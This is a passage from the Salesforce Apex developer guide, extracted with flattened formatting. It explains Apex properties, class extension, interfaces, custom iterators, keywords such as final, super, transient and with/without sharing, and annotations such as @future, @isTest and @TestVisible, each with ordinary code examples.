  • 88. Classes, Objects, and Interfaces Apex Properties //code body } Similar to other static code, a static initialization code block is only initialized once on the first use of the class. A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body. The code blocks are executed in the order in which they appear in the file, the same as in Java. You can use static initialization code to initialize static final variables and to declare any information that is static, such as a map of values. For example: public class MyClass { class RGB { Integer red; Integer green; Integer blue; RGB(Integer red, Integer green, Integer blue) { this.red = red; this.green = green; this.blue = blue; } } static Map<String, RGB> colorMap = new Map<String, RGB>(); static { colorMap.put('red', new RGB(255, 0, 0)); colorMap.put('cyan', new RGB(0, 255, 255)); colorMap.put('magenta', new RGB(255, 0, 255)); } } Apex Properties An Apex property is similar to a variable, however, you can do additional things in your code to a property value before it is accessed or returned. Properties can be used in many different ways: they can validate data before a change is made; they can prompt an action when data is changed, such as altering the value of other member variables; or they can expose data that is retrieved from some other source, such as another class. Property definitions include one or two code blocks, representing a get accessor and a set accessor: • • The code in a get accessor executes when the property is read. The code in a set accessor executes when the property is assigned a new value. A property with only a get accessor is considered read-only. A property with only a set accessor is considered write-only. A property with both accessors is read-write. To declare a property, use the following syntax in the body of a class: Public class BasicClass { // Property declaration access_modifier return_type property_name { get { //Get accessor code block } set { //Set accessor code block 64
  • 89. Classes, Objects, and Interfaces Apex Properties } } } Where: • access_modifier is the access modifier for the property. The access modifiers that can be applied to properties include: public, private, global, and protected. In addition, these definition modifiers can be applied: static and transient. For more information on access modifiers, see Access Modifiers on page 60. • return_type is the type of the property, such as Integer, Double, sObject, and so on. For more information, see Data • Types on page 27. property_name is the name of the property For example, the following class defines a property named prop. The property is public. The property returns an integer data type. public class BasicProperty { public integer prop { get { return prop; } set { prop = value; } } } The following code segment calls the class above, exercising the get and set accessors: BasicProperty bp = new BasicProperty(); bp.prop = 5; // Calls set accessor System.assert(bp.prop == 5); // Calls get accessor Note the following: • • • • • • • • The body of the get accessor is similar to that of a method. It must return a value of the property type. Executing the get accessor is the same as reading the value of the variable. The get accessor must end in a return statement. We recommend that your get accessor should not change the state of the object that it is defined on. The set accessor is similar to a method whose return type is void. When you assign a value to the property, the set accessor is invoked with an argument that provides the new value. When the set accessor is invoked, the system passes an implicit argument to the setter called value of the same data type as the property. Properties cannot be defined on interface. Apex properties are based on their counterparts in C#, with the following differences: ◊ Properties provide storage for values directly. You do not need to create supporting members for storing values. ◊ It is possible to create automatic properties in Apex. For more information, see Using Automatic Properties on page 65. Using Automatic Properties Properties do not require additional code in their get or set accessor code blocks. Instead, you can leave get and set accessor code blocks empty to define an automatic property. Automatic properties allow you to write more compact code that is easier to debug and maintain. They can be declared as read-only, read-write, or write-only. The following example creates three automatic properties: public class AutomaticProperty { public integer MyReadOnlyProp { get; } public double MyReadWriteProp { get; set; } 65
  • 90. Classes, Objects, and Interfaces Extending a Class public string MyWriteOnlyProp { set; } } The following code segment exercises these properties: AutomaticProperty ap = new AutomaticProperty(); ap.MyReadOnlyProp = 5; // This produces a compile error: not writable ap.MyReadWriteProp = 5; // No error System.assert(MyWriteOnlyProp == 5); // This produces a compile error: not readable Using Static Properties When a property is declared as static, the property's accessor methods execute in a static context. This means that the accessors do not have access to non-static member variables defined in the class. The following example creates a class with both static and instance properties: public class StaticProperty { public static integer StaticMember; public integer NonStaticMember; public static integer MyGoodStaticProp { get{return MyGoodStaticProp;} } // The following produces a system error // public static integer MyBadStaticProp { return NonStaticMember; } public integer MyGoodNonStaticProp { get{return NonStaticMember;} } } The following code segment calls the static and instance properties: StaticProperty sp = new StaticProperty(); // The following produces a system error: a static variable cannot be // accessed through an object instance // sp.MyGoodStaticProp = 5; // The following does not produce an error StaticProperty.MyGoodStaticProp = 5; Using Access Modifiers on Property Accessors Property accessors can be defined with their own access modifiers. If an accessor includes its own access modifier, this modifier overrides the access modifier of the property. The access modifier of an individual accessor must be more restrictive than the access modifier on the property itself. For example, if the property has been defined as public, the individual accessor cannot be defined as global. The following class definition shows additional examples: global virtual class PropertyVisibility { // X is private for read and public for write public integer X { private get; set; } // Y can be globally read but only written within a class global integer Y { get; public set; } // Z can be read within the class but only subclasses can set it public integer Z { get; protected set; } } Extending a Class You can extend a class to provide a more specialized behavior. 66
  • 91. Classes, Objects, and Interfaces Extending a Class A class that extends another class inherits all the methods and properties of the extended class. In addition, the extending class can override the existing virtual methods by using the override keyword in the method definition. Overriding a virtual method allows you to provide a different implementation for an existing method. This means that the behavior of a particular method is different based on the object you’re calling it on. This is referred to as polymorphism. A class extends another class using the extends keyword in the class definition. A class can only extend one other class, but it can implement more than one interface. This example shows how to extend a class. The YellowMarker class extends the Marker class. public virtual class Marker { public virtual void write() { System.debug('Writing some text.'); } public virtual Double discount() { return .05; } } // Extension for the Marker class public class YellowMarker extends Marker { public override void write() { System.debug('Writing some text using the yellow marker.'); } } This code segment shows polymorphism. The example declares two objects of the same type (Marker). Even though both objects are markers, the second object is assigned to an instance of the YellowMarker class. Hence, calling the write method on it yields a different result than calling this method on the first object because this method has been overridden. Note that we can call the discount method on the second object even though this method isn’t part of the YellowMarker class definition, but it is part of the extended class, and hence is available to the extending class, YellowMarker. Marker obj1, obj2; obj1 = new Marker(); // This outputs 'Writing some text.' obj1.write(); obj2 = new YellowMarker(); // This outputs 'Writing some text using the yellow marker.' obj2.write(); // We get the discount method for free // and can call it from the YellowMarker instance. Double d = obj2.discount(); The extending class can have more method definitions that aren’t common with the original extended class. For example, the RedMarker class below extends the Marker class and has one extra method, computePrice, that isn’t available for the Marker class. To call the extra methods, the object type must be the extending class. // Extension for the Marker class public class RedMarker extends Marker { public override void write() { System.debug('Writing some text in red.'); } // Method only in this class public Double computePrice() { return 1.5; } } 67
  • 92. Classes, Objects, and Interfaces Extended Class Example This shows how to call the additional method on the RedMarker class. RedMarker obj = new RedMarker(); // Call method specific to RedMarker only Double price = obj.computePrice(); Extensions also apply to interfaces—an interface can extend another interface. As with classes, when an interface extends another interface, all the methods and properties of the extended interface are available to the extending interface. Extended Class Example The following is an extended example of a class, showing all the features of Apex classes. The keywords and concepts introduced in the example are explained in more detail throughout this chapter. // Top-level (outer) class must be public or global (usually public unless they contain // a Web Service, then they must be global) public class OuterClass { // Static final variable (constant) – outer class level only private static final Integer MY_INT; // Non-final static variable - use this to communicate state across triggers // within a single request) public static String sharedState; // Static method - outer class level only public static Integer getInt() { return MY_INT; } // Static initialization (can be included where the variable is defined) static { MY_INT = 2; } // Member variable for outer class private final String m; // Instance initialization block - can be done where the variable is declared, // or in a constructor { m = 'a'; } // Because no constructor is explicitly defined in this outer class, an implicit, // no-argument, public constructor exists // Inner interface public virtual interface MyInterface { // No access modifier is necessary for interface methods - these are always // public or global depending on the interface visibility void myMethod(); } // Interface extension interface MySecondInterface extends MyInterface { Integer method2(Integer i); } // Inner class - because it is virtual it can be extended. // This class implements an interface that, in turn, extends another interface. // Consequently the class must implement all methods. public virtual class InnerClass implements MySecondInterface { // Inner member variables private final String s; 68
  • 93. Classes, Objects, and Interfaces Extended Class Example private final String s2; // Inner instance initialization block (this code could be located above) { this.s = 'x'; } // Inline initialization (happens after the block above executes) private final Integer i = s.length(); // Explicit no argument constructor InnerClass() { // This invokes another constructor that is defined later this('none'); } // Constructor that assigns a final variable value public InnerClass(String s2) { this.s2 = s2; } // Instance method that implements a method from MyInterface. // Because it is declared virtual it can be overridden by a subclass. public virtual void myMethod() { /* does nothing */ } // Implementation of the second interface method above. // This method references member variables (with and without the "this" prefix) public Integer method2(Integer i) { return this.i + s.length(); } } // Abstract class (that subclasses the class above). No constructor is needed since // parent class has a no-argument constructor public abstract class AbstractChildClass extends InnerClass { // Override the parent class method with this signature. // Must use the override keyword public override void myMethod() { /* do something else */ } // Same name as parent class method, but different signature. // This is a different method (displaying polymorphism) so it does not need // to use the override keyword protected void method2() {} // Abstract method - subclasses of this class must implement this method abstract Integer abstractMethod(); } // Complete the abstract class by implementing its abstract method public class ConcreteChildClass extends AbstractChildClass { // Here we expand the visibility of the parent method - note that visibility // cannot be restricted by a sub-class public override Integer abstractMethod() { return 5; } } // A second sub-class of the original InnerClass public class AnotherChildClass extends InnerClass { AnotherChildClass(String s) { // Explicitly invoke a different super constructor than one with no arguments super(s); } } // Exception inner class public virtual class MyException extends Exception { // Exception class member variable public Double d; // Exception class constructor MyException(Double d) { this.d = d; 69
  • 94. Classes, Objects, and Interfaces Extended Class Example } // Exception class method, marked as protected protected void doIt() {} } // Exception classes can be abstract and implement interfaces public abstract class MySecondException extends Exception implements MyInterface { } } This code example illustrates: • • • • • • • • • • • • • • • • • • A top-level class definition (also called an outer class) Static variables and static methods in the top-level class, as well as static initialization code blocks Member variables and methods for the top-level class Classes with no user-defined constructor — these have an implicit, no-argument constructor An interface definition in the top-level class An interface that extends another interface Inner class definitions (one level deep) within a top-level class A class that implements an interface (and, therefore, its associated sub-interface) by implementing public versions of the method signatures An inner class constructor definition and invocation An inner class member variable and a reference to it using the this keyword (with no arguments) An inner class constructor that uses the this keyword (with arguments) to invoke a different constructor Initialization code outside of constructors — both where variables are defined, as well as with anonymous blocks in curly braces ({}). Note that these execute with every construction in the order they appear in the file, as with Java. Class extension and an abstract class Methods that override base class methods (which must be declared virtual) The override keyword for methods that override subclass methods Abstract methods and their implementation by concrete sub-classes The protected access modifier Exceptions as first class objects with members, methods, and constructors This example shows how the class above can be called by other Apex code: // Construct an instance of an inner concrete class, with a user-defined constructor OuterClass.InnerClass ic = new OuterClass.InnerClass('x'); // Call user-defined methods in the class System.assertEquals(2, ic.method2(1)); // Define a variable with an interface data type, and assign it a value that is of // a type that implements that interface OuterClass.MyInterface mi = ic; // Use instanceof and casting as usual OuterClass.InnerClass ic2 = mi instanceof OuterClass.InnerClass ? (OuterClass.InnerClass)mi : null; System.assert(ic2 != null); // Construct the outer type OuterClass o = new OuterClass(); System.assertEquals(2, OuterClass.getInt()); // Construct instances of abstract class children System.assertEquals(5, new OuterClass.ConcreteChildClass().abstractMethod()); 70
  • 95. Classes, Objects, and Interfaces Understanding Interfaces // Illegal - cannot construct an abstract class // new OuterClass.AbstractChildClass(); // Illegal – cannot access a static method through an instance // o.getInt(); // Illegal - cannot call protected method externally // new OuterClass.ConcreteChildClass().method2(); This code example illustrates: • • • • Construction of the outer class Construction of an inner class and the declaration of an inner interface type A variable declared as an interface type can be assigned an instance of a class that implements that interface Casting an interface variable to be a class type that implements that interface (after verifying this using the instanceof operator) Understanding Interfaces An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the interface. Interfaces can provide a layer of abstraction to your code. They separate the specific implementation of a method from the declaration for that method. This way you can have different implementations of a method based on your specific application. Defining an interface is similar to defining a new class. For example, a company might have two types of purchase orders, ones that come from customers, and others that come from their employees. Both are a type of purchase order. Suppose you needed a method to provide a discount. The amount of the discount can depend on the type of purchase order. You can model the general concept of a purchase order as an interface and have specific implementations for customers and employees. In the following example the focus is only on the discount aspect of a purchase order. This is the definition of the PurchaseOrder interface. // An interface that defines what a purchase order looks like in general public interface PurchaseOrder { // All other functionality excluded Double discount(); } This class implements the PurchaseOrder interface for customer purchase orders. // One implementation of the interface for customers public class CustomerPurchaseOrder implements PurchaseOrder { public Double discount() { return .05; // Flat 5% discount } } This class implements the PurchaseOrder interface for employee purchase orders. // Another implementation of the interface for employees public class EmployeePurchaseOrder implements PurchaseOrder { public Double discount() { return .10; // It’s worth it being an employee! 10% discount } } 71
  • 96. Classes, Objects, and Interfaces Custom Iterators Note the following about the above example: • • The interface PurchaseOrder is defined as a general prototype. Methods defined within an interface have no access modifiers and contain just their signature. The CustomerPurchaseOrder class implements this interface; therefore, it must provide a definition for the discount method. As with Java, any class that implements an interface must define all of the methods contained in the interface. When you define a new interface, you are defining a new data type. You can use an interface name in any place you can use another data type name. If you define a variable whose type is an interface, any object you assign to it must be an instance of a class that implements the interface, or a sub-interface data type. See also Classes and Casting on page 86. Note: You cannot add a method to a global interface after the class has been uploaded in a Managed - Released package version. Custom Iterators An iterator traverses through every item in a collection. For example, in a while loop in Apex, you define a condition for exiting the loop, and you must provide some means of traversing the collection, that is, an iterator. In the following example, count is incremented by 1 every time the loop is executed (count++) : while (count < 11) { System.debug(count); count++; } Using the Iterator interface you can create a custom set of instructions for traversing a List through a loop. This is useful for data that exists in sources outside of Salesforce that you would normally define the scope of using a SELECT statement. Iterators can also be used if you have multiple SELECT statements. Using Custom Iterators To use custom iterators, you must create an Apex class that implements the Iterator interface. The Iterator interface has the following instance methods: Name Arguments Returns Description hasNext Boolean Returns true if there is another item in the collection being traversed, false otherwise. next Any type Returns the next item in the collection. All methods in the Iterator interface must be declared as global or public. You can only use a custom iterator in a while loop. For example: IterableString x = new IterableString('This is a really cool test.'); while(x.hasNext()){ system.debug(x.next()); } Iterators are not currently supported in for loops. 72
  • 97. Classes, Objects, and Interfaces Custom Iterators Using Custom Iterators with Iterable If you do not want to use a custom iterator with a list, but instead want to create your own data structure, you can use the Iterable interface to generate the data structure. The Iterable interface has the following method: Name Arguments iterator Returns Description Iterator class Returns a reference to the iterator for this interface. The iterator method must be declared as global or public. It creates a reference to the iterator that you can then use to traverse the data structure. In the following example a custom iterator iterates through a collection: global class CustomIterable implements Iterator<Account>{ List<Account> accs {get; set;} Integer i {get; set;} public CustomIterable(){ accs = [SELECT Id, Name, NumberOfEmployees FROM Account WHERE Name = 'false']; i = 0; } global boolean hasNext(){ if(i >= accs.size()) { return false; } else { return true; } } global Account next(){ // 8 is an arbitrary // constant in this example // that represents the // maximum size of the list. if(i == 8){return null;} i++; return accs[i-1]; } } The following calls the above code: global class foo implements iterable<Account>{ global Iterator<Account> Iterator(){ return new CustomIterable(); } } The following is a batch job that uses an iterator: global class batchClass implements Database.batchable<Account>{ global Iterable<Account> start(Database.batchableContext info){ return new foo(); } global void execute(Database.batchableContext info, List<Account> scope){ 73
  • 98. Classes, Objects, and Interfaces Keywords List<Account> accsToUpdate = new List<Account>(); for(Account a : scope){ a.Name = 'true'; a.NumberOfEmployees = 69; accsToUpdate.add(a); } update accsToUpdate; } global void finish(Database.batchableContext info){ } } Keywords Apex has the following keywords available: • • • • • • final instanceof super this transient with sharing and without sharing Using the final Keyword You can use the final keyword to modify variables. • • • • • • Final variables can only be assigned a value once, either when you declare a variable or in initialization code. You must assign a value to it in one of these two places. Static final variables can be changed in static initialization code or where defined. Member final variables can be changed in initialization code blocks, constructors, or with other variable declarations. To define a constant, mark a variable as both static and final. Non-final static variables are used to communicate state at the class level (such as state between triggers). However, they are not shared across requests. Methods and classes are final by default. You cannot use the final keyword in the declaration of a class or method. This means they cannot be overridden. Use the virtual keyword if you need to override a method or class. Using the instanceof Keyword If you need to verify at runtime whether an object is actually an instance of a particular class, use the instanceof keyword. The instanceof keyword can only be used to verify if the target type in the expression on the right of the keyword is a viable alternative for the declared type of the expression on the left. You could add the following check to the Report class in the classes and casting example before you cast the item back into a CustomReport object. If (Reports.get(0) instanceof CustomReport) { // Can safely cast it back to a custom report object CustomReport c = (CustomReport) Reports.get(0); } Else { // Do something with the non-custom-report. } 74
  • 99. Classes, Objects, and Interfaces Using the super Keyword Using the super Keyword The super keyword can be used by classes that are extended from virtual or abstract classes. By using super, you can override constructors and methods from the parent class. For example, if you have the following virtual class: public virtual class SuperClass { public String mySalutation; public String myFirstName; public String myLastName; public SuperClass() { mySalutation = 'Mr.'; myFirstName = 'Carl'; myLastName = 'Vonderburg'; } public SuperClass(String salutation, String firstName, String lastName) { mySalutation = salutation; myFirstName = firstName; myLastName = lastName; } public virtual void printName() { System.debug('My name is ' + mySalutation + myLastName); } public virtual String getFirstName() { return myFirstName; } } You can create the following class that extends Superclass and overrides its printName method: public class Subclass extends Superclass { public override void printName() { super.printName(); System.debug('But you can call me ' + super.getFirstName()); } } The expected output when calling Subclass.printName is My name is Mr. Vonderburg. But you can call me Carl. You can also use super to call constructors. Add the following constructor to SubClass: public Subclass() { super('Madam', 'Brenda', 'Clapentrap'); } Now, the expected output of Subclass.printName is My name is Madam Clapentrap. But you can call me Brenda. Best Practices for Using the super Keyword • • Only classes that are extending from virtual or abstract classes can use super. You can only use super in methods that are designated with the override keyword. 75
  • 100. Classes, Objects, and Interfaces Using the this Keyword Using the this Keyword There are two different ways of using the this keyword. You can use the this keyword in dot notation, without parenthesis, to represent the current instance of the class in which it appears. Use this form of the this keyword to access instance variables and methods. For example: public class myTestThis { string s; { this.s = 'TestString'; } } In the above example, the class myTestThis declares an instance variable s. The initialization code populates the variable using the this keyword. Or you can use the this keyword to do constructor chaining, that is, in one constructor, call another constructor. In this format, use the this keyword with parentheses. For example: public class testThis { // First constructor for the class. It requires a string parameter. public testThis(string s2) { } // Second constructor for the class. It does not require a parameter. // This constructor calls the first constructor using the this keyword. public testThis() { this('None'); } } When you use the this keyword in a constructor to do constructor chaining, it must be the first statement in the constructor. Using the transient Keyword Use the transient keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view state for a Visualforce page. For example: Transient Integer currentTotal; You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that define the types of fields declared in the serializable classes. Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a Visualforce page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many system resources to be recomputed many times during a request. Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These objects include the following: • • PageReferences XmlStream classes 76
  • 101. Classes, Objects, and Interfaces Using the with sharing or without sharing Keywords Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as a collection of Savepoints Most of the objects generated by system methods, such as Schema.getGlobalDescribe. JSONParser class instances. • • • Static variables also don't get transmitted through the view state. The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have its original value, which has been deserialized from the view state, so it remains the same. <apex:page controller="ExampleController"> T1: {!t1} <br/> T2: {!t2} <br/> <apex:form> <apex:commandLink value="refresh"/> </apex:form> </apex:page> public class ExampleController { DateTime t1; transient DateTime t2; public String getT1() { if (t1 == null) t1 = System.now(); return '' + t1; } public String getT2() { if (t2 == null) t2 = System.now(); return '' + t2; } } See Also: JSONParser Class Using the with sharing or without sharing Keywords Use the with sharing or without sharing keywords on a class to specify whether or not to enforce sharing rules. The with sharing keyword allows you to specify that the sharing rules for the current user be taken into account for a class. You have to explicitly set this keyword for the class because Apex code runs in system context. In system context, Apex code has access to all objects and fields— object permissions, field-level security, sharing rules aren’t applied for the current user. This is to ensure that code won’t fail to run because of hidden fields or objects for a user. The only exceptions to this rule are Apex code that is executed with the executeAnonymous call and Chatter in Apex. executeAnonymous always executes using the full permissions of the current user. For more information on executeAnonymous, see Anonymous Blocks on page 183. Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For example: public with sharing class sharingClass { // Code here } 77
  • 102. Classes, Objects, and Interfaces Annotations Use the without sharing keywords when declaring a class to ensure that the sharing rules for the current user are not enforced. For example: public without sharing class noSharing { // Code here } Some things to note about sharing keywords: • • • • • The sharing setting of the class where the method is defined is applied, not of the class where the method is called. For example, if a method is defined in a class declared with with sharing is called by a class declared with without sharing, the method will execute with sharing rules enforced. If a class isn’t declared as either with or without sharing, the current sharing rules remain in effect. This means that if the class is called by a class that has sharing enforced, then sharing is enforced for the called class. Both inner classes and outer classes can be declared as with sharing. The sharing setting applies to all code contained in the class, including initialization code, constructors, and methods. Inner classes do not inherit the sharing setting from their container class. Classes inherit this setting from a parent class when one class extends or implements another. Annotations An Apex annotation modifies the way a method or class is used, similar to annotations in Java. Annotations are defined with an initial @ symbol, followed by the appropriate keyword. To add an annotation to a method, specify it immediately before the method or class definition. For example: global class MyClass { @future Public static void myMethod(String a) { //long-running Apex code } } Apex supports the following annotations: • • • • • • • @Deprecated @Future @IsTest @ReadOnly @RemoteAction @TestVisible Apex REST annotations: ◊ ◊ ◊ ◊ ◊ ◊ @RestResource(urlMapping='/yourUrl') @HttpDelete @HttpGet @HttpPatch @HttpPost @HttpPut 78
  • 103. Classes, Objects, and Interfaces Deprecated Annotation Deprecated Annotation Use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring code in managed packages as the requirements evolve. New subscribers cannot see the deprecated elements, while the elements continue to function for existing subscribers and API integrations. The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums, interfaces, or variables. @deprecated // This method is deprecated. Use myOptimizedMethod(String a, String b) instead. global void myMethod(String a) { } Note the following rules when deprecating Apex identifiers: Unmanaged packages cannot contain code that uses the deprecated keyword. When an Apex item is deprecated, all global access modifiers that reference the deprecated identifier must also be deprecated. Any global method that uses the deprecated type in its signature, either in an input argument or the method return type, must also be deprecated. A deprecated item, such as a method or a class, can still be referenced internally by the package developer. webService methods and variables cannot be deprecated. You can deprecate an enum but you cannot deprecate individual enum values. You can deprecate an interface but you cannot deprecate individual methods in an interface. You can deprecate an abstract class but you cannot deprecate individual abstract methods in an abstract class. You cannot remove the deprecated annotation to undeprecate something in Apex after you have released a package version where that item in Apex is deprecated. • • • • • • • For more information about package versions, see What is a Package? on page 384. Future Annotation Use the future annotation to identify methods that are executed asynchronously. When you specify future, the method executes when Salesforce has available resources. For example, you can use the future annotation when making an asynchronous Web service callout to an external service. Without the annotation, the Web service callout is made from the same thread that is executing the Apex code, and no additional processing can occur until the callout is complete (synchronous processing). Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation cannot take sObjects or objects as arguments. To make a method in a class execute asynchronously, define the method with the future annotation. For example: global class MyFutureClass { @future static void myMethod(String a, Integer i) { System.debug('Method called with: ' + a + ' and ' + i); // Perform long-running code } } 79
  • 104. Classes, Objects, and Interfaces IsTest Annotation Specify (callout=true) to allow callouts in a future method. Specify (callout=false) to prevent a method from making callouts. The following snippet shows how to specify that a method executes a callout: @future (callout=true) public static void doCalloutFromFuture() { //Add code to perform callout } Future Method Considerations Remember that any method using the future annotation requires special consideration because the method does not necessarily execute in the same order it is called. Methods with the future annotation cannot be used in Visualforce controllers in either getMethodName or setMethodName methods, nor in the constructor. You cannot call a method annotated with future from a method that also has the future annotation. Nor can you call a trigger from an annotated method that calls another annotated method. The getContent and getContentAsPDF PageReference methods cannot be used in methods with the future annotation. • • • • IsTest Annotation Use the isTest annotation to define classes and methods that only contain code used for testing your application. The isTest annotation on methods is equivalent to the testMethod keyword. Note: Classes defined with the isTest annotation don't count against your organization limit of 3 MB for all Apex code. Classes and methods defined as isTest can be either private or public. Classes defined as isTest must be top-level classes. This is an example of a private test class that contains two test methods. @isTest private class MyTestClass { // Methods for testing @isTest static void test1() { // Implement test code } @isTest static void test2() { // Implement test code } } This is an example of a public test class that contains utility methods for test data creation: @isTest public class TestUtil { public static void createTestAccounts() { // Create some test accounts } public static void createTestContacts() { // Create some test contacts 80
  • 105. Classes, Objects, and Interfaces IsTest Annotation } } Classes defined as isTest can't be interfaces or enums. Methods of a public test class can only be called from a running test, that is, a test method or code invoked by a test method, and can't be called by a non-test request.. To learn about the various ways you can run test methods, see Running Unit Test Methods. IsTest(SeeAllData=true) Annotation For Apex code saved using Salesforce.com API version 24.0 and later, use the isTest(SeeAllData=true) annotation to grant test classes and individual test methods access to all data in the organization, including pre-existing data that the test didn’t create. Starting with Apex code saved using Salesforce.com API version 24.0, test methods don’t have access by default to pre-existing data in the organization. However, test code saved against Salesforce.com API version 23.0 and earlier continues to have access to all data in the organization and its data access is unchanged. See Isolation of Test Data from Organization Data in Unit Tests on page 360. Considerations for the IsTest(SeeAllData=true) Annotation If a test class is defined with the isTest(SeeAllData=true) annotation, this annotation applies to all its test methods whether the test methods are defined with the @isTest annotation or the testmethod keyword. The isTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method level. However, using isTest(SeeAllData=false) on a method doesn’t restrict organization data access for that method if the containing class has already been defined with the isTest(SeeAllData=true) annotation. In this case, the method will still have access to all the data in the organization. • • This example shows how to define a test class with the isTest(SeeAllData=true) annotation. All the test methods in this class have access to all data in the organization. // All test methods in this class can access all data. @isTest(SeeAllData=true) public class TestDataAccessClass { // This test accesses an existing account. // It also creates and accesses a new test account. static testmethod void myTestMethod1() { // Query an existing account in the organization. Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1]; System.assert(a != null); // Create a test account based on the queried account. Account testAccount = a.clone(); testAccount.Name = 'Acme Test'; insert testAccount; // Query the test account that was inserted. Account testAccount2 = [SELECT Id, Name FROM Account WHERE Name='Acme Test' LIMIT 1]; System.assert(testAccount2 != null); } // Like the previous method, this test method can also access all data // because the containing class is annotated with @isTest(SeeAllData=true). @isTest static void myTestMethod2() { // Can access all data in the organization. } } 81
  • 106. Classes, Objects, and Interfaces IsTest Annotation This second example shows how to apply the isTest(SeeAllData=true) annotation on a test method. Because the class that the test method is contained in isn’t defined with this annotation, you have to apply this annotation on the test method to enable access to all data for that test method. The second test method doesn’t have this annotation, so it can access only the data it creates in addition to objects that are used to manage your organization, such as users. // This class contains test methods with different data access levels. @isTest private class ClassWithDifferentDataAccess { // Test method that has access to all data. @isTest(SeeAllData=true) static void testWithAllDataAccess() { // Can query all data in the organization. } // Test method that has access to only the data it creates // and organization setup and metadata objects. @isTest static void testWithOwnDataAccess() { // This method can still access the User object. // This query returns the first user object. User u = [SELECT UserName,Email FROM User LIMIT 1]; System.debug('UserName: ' + u.UserName); System.debug('Email: ' + u.Email); // Can access the test account that is created here. Account a = new Account(Name='Test Account'); insert a; // Access the account that was just created. Account insertedAcct = [SELECT Id,Name FROM Account WHERE Name='Test Account']; System.assert(insertedAcct != null); } } IsTest(OnInstall=true) Annotation Use the IsTest(OnInstall=true) annotation to specify which Apex tests are executed during package installation. This annotation is used for tests in managed or unmanaged packages. Only test methods with this annotation, or methods that are part of a test class that has this annotation, will be executed during package installation. Tests annotated to run during package installation must pass in order for the package installation to succeed. It is no longer possible to bypass a failing test during package installation. A test method or a class that doesn't have this annotation, or that is annotated with isTest(OnInstall=false) or isTest, won't be executed during installation. This example shows how to annotate a test method that will be executed during package installation. In this example, test1 will be executed but test2 and test3 won't. public class OnInstallClass { // Implement logic for the class. public void method1(){ // Some code } } @isTest private class OnInstallClassTest { // This test method will be executed // during the installation of the package. @isTest(OnInstall=true) static void test1() { // Some test code } // Tests excluded from running during the // the installation of a package. 82
  • 107. Classes, Objects, and Interfaces ReadOnly Annotation @isTest static void test2() { // Some test code } static testmethod void test3() { // Some test code } } ReadOnly Annotation The @ReadOnly annotation allows you to perform unrestricted queries against the Force.com database. All other limits still apply. It's important to note that this annotation, while removing the limit of the number of returned rows for a request, blocks you from performing the following operations within the request: DML operations, calls to System.schedule, calls to methods annotated with @future, and sending emails. The @ReadOnly annotation is available for Web services and the Schedulable interface. To use the @ReadOnly annotation, the top level request must be in the schedule execution or the Web service invocation. For example, if a Visualforce page calls a Web service that contains the @ReadOnly annotation, the request fails because Visualforce is the top level request, not the Web service. Visualforce pages can call controller methods with the @ReadOnly annotation, and those methods will run with the same relaxed restrictions. To increase other Visualforce-specific limits, such as the size of a collection that can be used by an iteration component like <apex:pageBlockTable>, you can set the readonly attribute on the <apex:page> tag to true. For more information, see Working with Large Sets of Data in the Visualforce Developer's Guide. RemoteAction Annotation The RemoteAction annotation provides support for Apex methods used in Visualforce to be called via JavaScript. This process is often referred to as JavaScript remoting. Note: Methods with the RemoteAction annotation must be static and either global or public. To use JavaScript remoting in a Visualforce page, add the request as a JavaScript invocation with the following form: [namespace.]controller.method( [parameters...,] callbackFunction, [configuration] ); • • • • • • namespace is the namespace of the controller class. This is required if your organization has a namespace defined, or if the class comes from an installed package. controller is the name of your Apex controller. method is the name of the Apex method you’re calling. parameters is the comma-separated list of parameters that your method takes. callbackFunction is the name of the JavaScript function that will handle the response from the controller. You can also declare an anonymous function inline. callbackFunction receives the status of the method call and the result as parameters. configuration configures the handling of the remote call and response. Use this to change the behavior of a remoting call, such as whether or not to escape the Apex method’s response. 83
  • 108. Classes, Objects, and Interfaces TestVisible Annotation In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this: @RemoteAction global static String getItemId(String objectName) { ... } Your method can take Apex primitives, collections, typed and generic sObjects, and user-defined Apex classes and interfaces as arguments. Generic sObjects must have an ID or sobjectType value to identify actual type. Interface parameters must have an apexType to identify actual type. Your method can return Apex primitives, sObjects, collections, user-defined Apex classes and enums, SaveResult, UpsertResult, DeleteResult, SelectOption, or PageReference. For more information, see “JavaScript Remoting for Apex Controllers” in the Visualforce Developer's Guide. TestVisible Annotation Use the TestVisible annotation to allow test methods to access private or protected members of another class outside the test class. These members include methods, member variables, and inner classes. This annotation enables a more permissive access level for running tests only. This annotation doesn’t change the visibility of members if accessed by non-test classes. With this annotation, you don’t have to change the access modifiers of your methods and member variables to public if you want to access them in a test method. For example, if a private member variable isn’t supposed to be exposed to external classes but it should be accessible by a test method, you can add the TestVisible annotation to the variable definition. This example shows how to annotate a private class member variable and private method with TestVisible. public class TestVisibleExample { // Private member variable @TestVisible private static Integer recordNumber = 1; // Private method @TestVisible private static void updateRecord(String name) { // Do something } } This is the test class that uses the previous class. It contains the test method that accesses the annotated member variable and method. @isTest private class TestVisibleExampleTest { @isTest static void test1() { // Access private variable annotated with TestVisible Integer i = TestVisibleExample.recordNumber; System.assertEquals(1, i); // Access private method annotated with TestVisible TestVisibleExample.updateRecord('RecordName'); // Perform some verification } } Apex REST Annotations Six new annotations have been added that enable you to expose an Apex class as a RESTful Web service. • • • @RestResource(urlMapping='/yourUrl') @HttpDelete @HttpGet 84
